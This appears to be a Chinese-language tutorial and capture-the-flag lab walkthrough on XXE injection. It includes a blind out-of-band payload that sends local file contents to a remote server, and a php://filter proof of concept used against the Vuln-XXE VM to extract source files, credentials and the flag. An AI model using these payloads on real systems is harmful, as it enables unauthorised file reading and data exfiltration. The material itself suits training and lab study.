1.XML外部实体注入原理
什么是 XML?
-
XML 指可扩展标记语言(EXtensible Markup Language)
-
XML 是一种标记语言,很类似 HTML
-
XML 的设计宗旨是传输数据,而非显示数据
-
XML 标签没有被预定义。您需要自行定义标签。
-
XML 被设计为具有自我描述性。
-
XML 是 W3C 的推荐标准
XML 外部实体注入的原理
服务端接收并解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入
xml外部实体注入的利用
1,使用file://或php://协议来指定本地文件系统上的资源并使其返回
2,使用http://等协议让服务器通过网络提取资源,泄露敏感信息。
3,执行SSRF类的攻击,通过XML实体注入对内网进行端口,主机等探测
4,通过无期限读取某个文件流,实施拒绝服务攻击
2.无回显XXE利用
无回显XXE指没有数据返回显示的XXE漏洞,那么该如何利用无回显XXE进行数据等泄露。
利用原理:通过外带通道提取数据,先获取目标文件的内容,然后将内容以http请求发送到数据接受的服务器上。
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file///filename">
<!ENTITY % remote SYSTEM "http://ip/test.xml">
%remote;
%send;
]>
数据服务器上xml:
<!ENTITY % all
"<!ENTITY %#x25; send SYSTEM "http://ip/test.xml?p=%file;">"
>
%all;
2.Vuln-XXE靶机复现
1,通过nmap扫描ip段扫描出存货的主机,发现192.168.179.6为靶机的地址
有两个开放端口80和5355
2,浏览器访问192.168.238.131,访问只存在ununtu的apache2的默认界面
3,再用dirb扫描存在的目录,发现了两个目录
4,访问192.168.179.6/robots.txt,有发现了两个目录,但是admin.php无法访问
5,访问192.168.179.6/xee,出现了登录页面
6,访问靶机的/xxe路径发现存在登录,随便输入账号密码发现页面存在回显,利用burpsuite抓包查看,通过抓包发现是XML数据的提交,利用外部实体注入读取用户的账户文件,确定存在XXE漏洞
POC如下所示:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&admin;</name><password>admin</password></root>
依次将所知道的站点带入:admin.php,xxe.php
xxe.php代入
xxe.php进行base64解码
admin.php代入
admin.php进行base64解码
7,从中发现了上面登录页面所需要的用户名和密码,密码要进行md5解密
用户名:administhebest 密码:admin@123
用账号密码登录成功后发现了一个新的站点
8,再将新发现的站点flagmeout.php代入上面poc,读出新的内容
flagmeout.php进行base64解码
根据返回的内容发现为base32加密,先base32解密
再将解密内容进行base64解码
9,又出来一个新站点/etc/.flag.php,一样代入上面poc,读出新的内容
/etc/.flag.php进行base64解码
解码出来发现一串类似于无字符Webshell构造的PHP内容,复制到PHP上跑一跑,应该需要PHP版本比较低,PHP7以上就跑不出来flag,这里用的是PHP5.6
所以flag是 SAFCSP{xxe_is_so_easy}